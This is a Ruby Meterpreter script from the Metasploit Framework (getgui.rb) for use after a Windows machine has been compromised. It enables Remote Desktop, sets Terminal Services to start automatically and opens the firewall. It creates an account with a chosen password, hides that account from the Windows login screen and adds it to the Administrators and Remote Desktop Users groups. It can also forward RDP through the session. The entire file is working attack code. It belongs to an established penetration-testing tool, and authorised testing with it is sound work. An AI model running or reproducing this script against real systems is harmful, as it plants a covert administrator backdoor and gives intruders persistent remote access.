metasploit-framework/scripts/meterpreter/getgui.rb

191 lines
5.9 KiB
Ruby

##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
session = client
host_name = client.sys.config.sysinfo['Computer']
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory,'scripts', 'getgui')
# Create the log directory
::FileUtils.mkdir_p(logs)
# Cleaup script file name
@dest = logs + "/clean_up_" + filenameinfo + ".rc"
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-e" => [ false, "Enable RDP only." ],
"-p" => [ true, "The Password of the user to add." ],
"-u" => [ true, "The Username of the user to add." ],
"-f" => [ true, "Forward RDP Connection." ]
)
def usage
print_line("Windows Remote Desktop Enabler Meterpreter Script")
print_line("Usage: getgui -u <username> -p <password>")
print_line("Or: getgui -e")
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
def enablerd()
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
value = "fDenyTSConnections"
begin
v = registry_getvaldata(key,value)
print_status "Enabling Remote Desktop"
if v == 1
print_status "\tRDP is disabled; enabling it ..."
registry_setvaldata(key,value,0,"REG_DWORD")
file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
else
print_status "\tRDP is already enabled"
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def enabletssrv()
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
begin
v2 = registry_getvaldata(rdp_key,"Start")
print_status "Setting Terminal Services service startup mode"
if v2 != 2
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
service_change_startup("TermService","auto")
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
cmd_exec("sc start termservice")
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
else
print_status "\tTerminal Services service is already set to auto"
end
#Enabling Exception on the Firewall
print_status "\tOpening port in local firewall if necessary"
cmd_exec('netsh firewall set service type = remotedesktop mode = enable')
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def addrdpusr(session, username, password)
rdu = resolve_sid("S-1-5-32-555")[:name]
admin = resolve_sid("S-1-5-32-544")[:name]
print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}"
begin
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
if addusr_out =~ /success/i
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tHiding user from Windows Login screen"
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
print_status "\tAdding User: #{username} to local group '#{rdu}'"
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
print_status "\tAdding User: #{username} to local group '#{admin}'"
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
print_status "You can now login with the created user"
else
print_error("Account could not be created")
print_error("Error:")
addusr_out.each_line do |l|
print_error("\t#{l.chomp}")
end
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def message
print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator"
print_status "Carlos Perez carlos_perez@darkoperator.com"
end
################## MAIN ##################
# Parsing of Options
usr = nil
pass = nil
lang = nil
lport = 1024 + rand(1024)
enbl = nil
frwrd = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-u"
usr = val
when "-p"
pass = val
when "-h"
usage
when "-f"
frwrd = true
lport = val
when "-e"
enbl = true
end
}
if client.platform =~ /win32|win64/
if args.length > 0
if enbl or (usr and pass)
message
if enbl
if is_admin?
enablerd()
enabletssrv()
else
print_error("Insufficient privileges, Remote Desktop Service was not modified.")
end
end
if usr and pass
if is_admin?
addrdpusr(session, usr, pass)
else
print_error("Insufficient privileges, account was not be created.")
end
end
if frwrd == true
print_status("Starting the port forwarding at local port #{lport}")
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")
end
print_status("For cleanup use command: run multi_console_command -rc #{@dest}")
else
usage
end
else
usage
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end